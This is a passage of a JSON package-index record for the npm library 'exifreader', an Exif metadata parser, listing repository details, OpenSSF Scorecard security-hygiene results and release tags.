{"id":1694527,"name":"exifreader","ecosystem":"npm","description":"Library that parses Exif metadata in images.","homepage":"https://github.com/mattiasw/ExifReader#readme","licenses":"MPL-2.0","normalized_licenses":["MPL-2.0"],"repository_url":"https://github.com/mattiasw/ExifReader","keywords_array":[],"namespace":null,"versions_count":139,"first_release_published_at":"2016-12-28T13:09:14.749Z","latest_release_published_at":"2026-09-26T14:47:37.055Z","latest_release_number":"4.46.0","last_synced_at":"2026-10-06T17:56:54.990Z","created_at":"2022-04-09T15:16:43.785Z","updated_at":"2026-10-06T17:56:54.990Z","registry_url":"https://www.npmjs.com/package/exifreader","install_command":"npm install exifreader","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"latest":"4.46.0"},"contentPolicy":null},"repo_metadata":{"id":2140525,"uuid":"3084583","full_name":"mattiasw/ExifReader","owner":"mattiasw","description":"A JavaScript Exif info parser.","archived":false,"fork":false,"pushed_at":"2026-10-05T18:53:04.000Z","size":10861,"stargazers_count":999,"open_issues_count":4,"forks_count":107,"subscribers_count":16,"default_branch":"main","last_synced_at":"2026-10-06T14:52:51.817Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"","language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mpl-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/mattiasw.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":"AGENTS.md","dco":null,"cla":null},"funding":{"github":["mattiasw"],"custom":["https://www.buymeacoffee.com/mattiasw"]}},"created_at":"2012-01-01T23:05:20.000Z","updated_at":"2026-10-06T13:13:26.000Z","dependencies_parsed_at":"2023-10-01T18:57:26.107Z","dependency_job_id":"de99ae0d-4ca3-43d1-bd3b-f23434edcc15","html_url":"https://github.com/mattiasw/ExifReader","commit_stats":{"total_commits":318,"total_committers":19,"mean_commits":"16.736842105263158","dds":"0.16666666666666663","last_synced_commit":"688c52bb0d852e5da06207b9085b63074f40abf2"},"previous_names":[],"tags_count":171,"template":false,"template_full_name":null,"purl":"pkg:github/mattiasw/ExifReader","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/mattiasw","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/sbom","scorecard":{"id":627301,"data":{"date":"2025-08-11","repo":{"name":"github.com/mattiasw/ExifReader","commit":"2e25066630fda99fd59e8987bceb05595fe206ea"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":4.2,"checks":[{"name":"Code-Review","score":0,"reason":"Found 0/6 approved changesets -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/end-to-end.yml:1","Warn: no topLevel permission defined: .github/workflows/gh-pages.yml:1","Warn: no topLevel permission defined: .github/workflows/nodejs.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Mozilla Public License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Signed-Releases","score":0,"reason":"Project has not signed or included provenance with any releases.","details":["Warn: release artifact v4.31.1 not signed: https://api.github.com/repos/mattiasw/ExifReader/releases/226003394","Warn: release artifact v4.31.0 not signed: https://api.github.com/repos/mattiasw/ExifReader/releases/221344857","Warn: release artifact v4.30.1 not signed: https://api.github.com/repos/mattiasw/ExifReader/releases/217434566","Warn: release artifact v4.30.0 not signed: https://api.github.com/repos/mattiasw/ExifReader/releases/215947563","Warn: release artifact v4.29.0 not signed: https://api.github.com/repos/mattiasw/ExifReader/releases/213680207","Warn: release artifact v4.31.1 does not have provenance: https://api.github.com/repos/mattiasw/ExifReader/releases/226003394","Warn: release artifact v4.31.0 does not have provenance: https://api.github.com/repos/mattiasw/ExifReader/releases/221344857","Warn: release artifact v4.30.1 does not have provenance: https://api.github.com/repos/mattiasw/ExifReader/releases/217434566","Warn: release artifact v4.30.0 does not have provenance: https://api.github.com/repos/mattiasw/ExifReader/releases/215947563","Warn: release artifact v4.29.0 does not have provenance: https://api.github.com/repos/mattiasw/ExifReader/releases/213680207"],"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): Dockerfile:84-92","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: Dockerfile:96-98","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/end-to-end.yml:17: update your workflow using https://app.stepsecurity.io/secureworkflow/mattiasw/ExifReader/end-to-end.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/end-to-end.yml:19: update your workflow using https://app.stepsecurity.io/secureworkflow/mattiasw/ExifReader/end-to-end.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/end-to-end.yml:23: update your workflow using https://app.stepsecurity.io/secureworkflow/mattiasw/ExifReader/end-to-end.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/end-to-end.yml:29: update your workflow using https://app.stepsecurity.io/secureworkflow/mattiasw/ExifReader/end-to-end.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/gh-pages.yml:11: update your workflow using https://app.stepsecurity.io/secureworkflow/mattiasw/ExifReader/gh-pages.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/gh-pages.yml:14: update your workflow using https://app.stepsecurity.io/secureworkflow/mattiasw/ExifReader/gh-pages.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/nodejs.yml:21: update your workflow using https://app.stepsecurity.io/secureworkflow/mattiasw/ExifReader/nodejs.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/nodejs.yml:23: update your workflow using https://app.stepsecurity.io/secureworkflow/mattiasw/ExifReader/nodejs.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/nodejs.yml:37: update your workflow using https://app.stepsecurity.io/secureworkflow/mattiasw/ExifReader/nodejs.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/nodejs.yml:39: update your workflow using https://app.stepsecurity.io/secureworkflow/mattiasw/ExifReader/nodejs.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/nodejs.yml:50: update your workflow using https://app.stepsecurity.io/secureworkflow/mattiasw/ExifReader/nodejs.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/nodejs.yml:52: update your workflow using https://app.stepsecurity.io/secureworkflow/mattiasw/ExifReader/nodejs.yml/main?enable=pin","Warn: containerImage not pinned by hash: Dockerfile:17","Warn: containerImage not pinned by hash: Dockerfile:21","Warn: containerImage not pinned by hash: Dockerfile:27","Warn: containerImage not pinned by hash: Dockerfile:35","Warn: containerImage not pinned by hash: Dockerfile:42","Warn: npmCommand not pinned by hash: Dockerfile:24","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   1 third-party GitHubAction dependencies pinned","Info:   0 out of   5 containerImage dependencies pinned","Info:   2 out of   3 npmCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":8,"reason":"2 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-v6h2-p8h4-qcjw","Warn: Project is vulnerable to: GHSA-3xgq-45jj-v275"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-21T06:50:57.954Z","repository_id":2140525,"created_at":"2025-08-21T06:50:57.954Z","updated_at":"2025-08-21T06:50:57.954Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":343170754,"owners_count":38095625,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-10-03T21:59:58.778Z","status":"online","status_checked_at":"2026-10-06T02:00:06.537Z","response_time":86,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"mattiasw","name":"Mattias Wallander","uuid":"564615","kind":"user","description":null,"email":"","website":null,"location":"Sweden","twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/564615?v=4","repositories_count":17,"last_synced_at":"2026-10-05T09:37:06.207Z","metadata":{"has_sponsors_listing":true,"funding":null},"html_url":"https://github.com/mattiasw","funding_links":["https://github.com/sponsors/mattiasw"],"total_stars":1027,"followers":31,"following":2,"created_at":"2022-11-03T07:25:04.364Z","updated_at":"2026-10-05T09:37:06.247Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/mattiasw","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/mattiasw/repositories"},"tags":[{"name":"v4.41.0","sha":"1874a9edb44fc0121bd894094c0aaa8569728f08","kind":"tag","published_at":"2026-06-08T09:27:07.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.41.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.41.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.41.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.41.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.41.0/manifests"},{"name":"v4.40.5","sha":"4120c8323dba5991bacd50df72b4d73a88fc1668","kind":"tag","published_at":"2026-06-03T18:48:56.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.40.5","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.40.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.40.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.40.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.40.5/manifests"},{"name":"v4.40.4","sha":"4c969bb9db54d5e58ee1dc9afe5d4475b4db6c95","kind":"tag","published_at":"2026-06-03T14:12:58.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.40.4","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.40.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.40.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.40.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.40.4/manifests"},{"name":"v4.40.3","sha":"fe4f19ff82e0acfe3415f39698d2e4914e73edcc","kind":"tag","published_at":"2026-05-31T18:40:51.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.40.3","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.40.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.40.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.40.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.40.3/manifests"},{"name":"v4.40.2","sha":"597f9fa642aa992b2f1394775f41f07705ea7f78","kind":"tag","published_at":"2026-05-30T20:44:13.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.40.2","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.40.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.40.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.40.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.40.2/manifests"},{"name":"v4.40.1","sha":"0ea9d58c48fb64b7aea744c4222671db18e2ea88","kind":"tag","published_at":"2026-05-30T18:37:54.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.40.1","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.40.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.40.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.40.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.40.1/manifests"},{"name":"v4.40.0","sha":"8cb0261a26b7d986955fe0a6780f076dcb7902e7","kind":"tag","published_at":"2026-05-29T13:26:26.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.40.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.40.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.40.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.40.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.40.0/manifests"},{"name":"v4.39.1","sha":"493470c763cfb6ccab53870b786f89e8f8ce8174","kind":"tag","published_at":"2026-05-19T11:02:10.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.39.1","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.39.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.39.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.39.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.39.1/manifests"},{"name":"v4.39.0","sha":"fa7815bc95a67771244fa00a068718a52c02ca2e","kind":"tag","published_at":"2026-05-15T17:40:01.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.39.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.39.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.39.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.39.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.39.0/manifests"},{"name":"v4.38.1","sha":"a3306baaba82f3e15c4f5487d2fe086dc861e22c","kind":"tag","published_at":"2026-04-09T09:20:59.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.38.1","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.38.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.38.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.38.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.38.1/manifests"},{"name":"v4.38.0","sha":"a2437e1c437eb4106bb218d99cae22b4d415f8f6","kind":"tag","published_at":"2026-04-07T08:22:22.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.38.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.38.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.38.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.38.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.38.0/manifests"},{"name":"v4.37.1","sha":"b6881ed273c31215e239eab9c175f5d33c0865bb","kind":"tag","published_at":"2026-04-05T15:01:35.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.37.1","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.37.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.37.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.37.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.37.1/manifests"},{"name":"v4.37.0","sha":"3f3902fc524f3814fab9eb8a42ba51da951468ea","kind":"tag","published_at":"2026-03-11T13:52:54.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.37.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.37.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.37.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.37.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.37.0/manifests"},{"name":"v4.36.2","sha":"efaf8f2d10e1d03304770bd721132fb4967c9f5f","kind":"tag","published_at":"2026-02-19T12:33:33.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.36.2","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.36.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.36.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.36.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.36.2/manifests"},{"name":"v4.36.1","sha":"3ab1954e0ba76c571d8d632f2fc4f408a9ada9b1","kind":"tag","published_at":"2026-01-25T19:59:56.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.36.1","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.36.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.36.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.36.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.36.1/manifests"},{"name":"v4.36.0","sha":"8d36c83357ffbc92c99308e9d5ff0abbd81ec4df","kind":"tag","published_at":"2026-01-11T14:48:09.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.36.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.36.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.36.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.36.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.36.0/manifests"},{"name":"v4.35.0","sha":"2a463b1aa464d3f1dc76b649318a8d28cf1b88e6","kind":"tag","published_at":"2026-01-09T14:44:00.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.35.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.35.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.35.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.35.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.35.0/manifests"},{"name":"v4.34.0","sha":"1bd07ec04968576a0738ce5608e5baba4c733250","kind":"tag","published_at":"2026-01-05T21:20:42.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.34.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.34.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.34.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.34.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.34.0/manifests"},{"name":"v4.33.1","sha":"82937c28dc4a9af1796d342d1479c41c9a8c492a","kind":"tag","published_at":"2025-12-05T15:02:24.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.33.1","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.33.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.33.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.33.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.33.1/manifests"},{"name":"v4.33.0","sha":"3fdae582a0eb2d58f770a4eac339808ed7ddfdc6","kind":"tag","published_at":"2025-12-05T14:55:37.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.33.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.33.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.33.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.33.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.33.0/manifests"},{"name":"v4.32.0","sha":"1be1e888d5029fe9525edc75207ee1f6f3d12af5","kind":"tag","published_at":"2025-09-20T17:25:24.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.32.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.32.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.32.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.32.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.32.0/manifests"},{"name":"v4.31.2","sha":"5c4822f6e645860b6b85b381f1301d0d9e9b8ac7","kind":"tag","published_at":"2025-08-29T18:03:34.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.31.2","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.31.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.31.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.31.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.31.2/manifests"},{"name":"v4.31.1","sha":"27d92fae720a190c99dfbe19684d0118acce3d7e","kind":"tag","published_at":"2025-06-17T21:07:38.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.31.1","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.31.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.31.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.31.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.31.1/manifests"},{"name":"v4.31.0","sha":"4db1d147a99d8350fcc395a35ddd83076456f180","kind":"tag","published_at":"2025-05-27T18:15:21.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.31.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.31.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.31.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.31.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.31.0/manifests"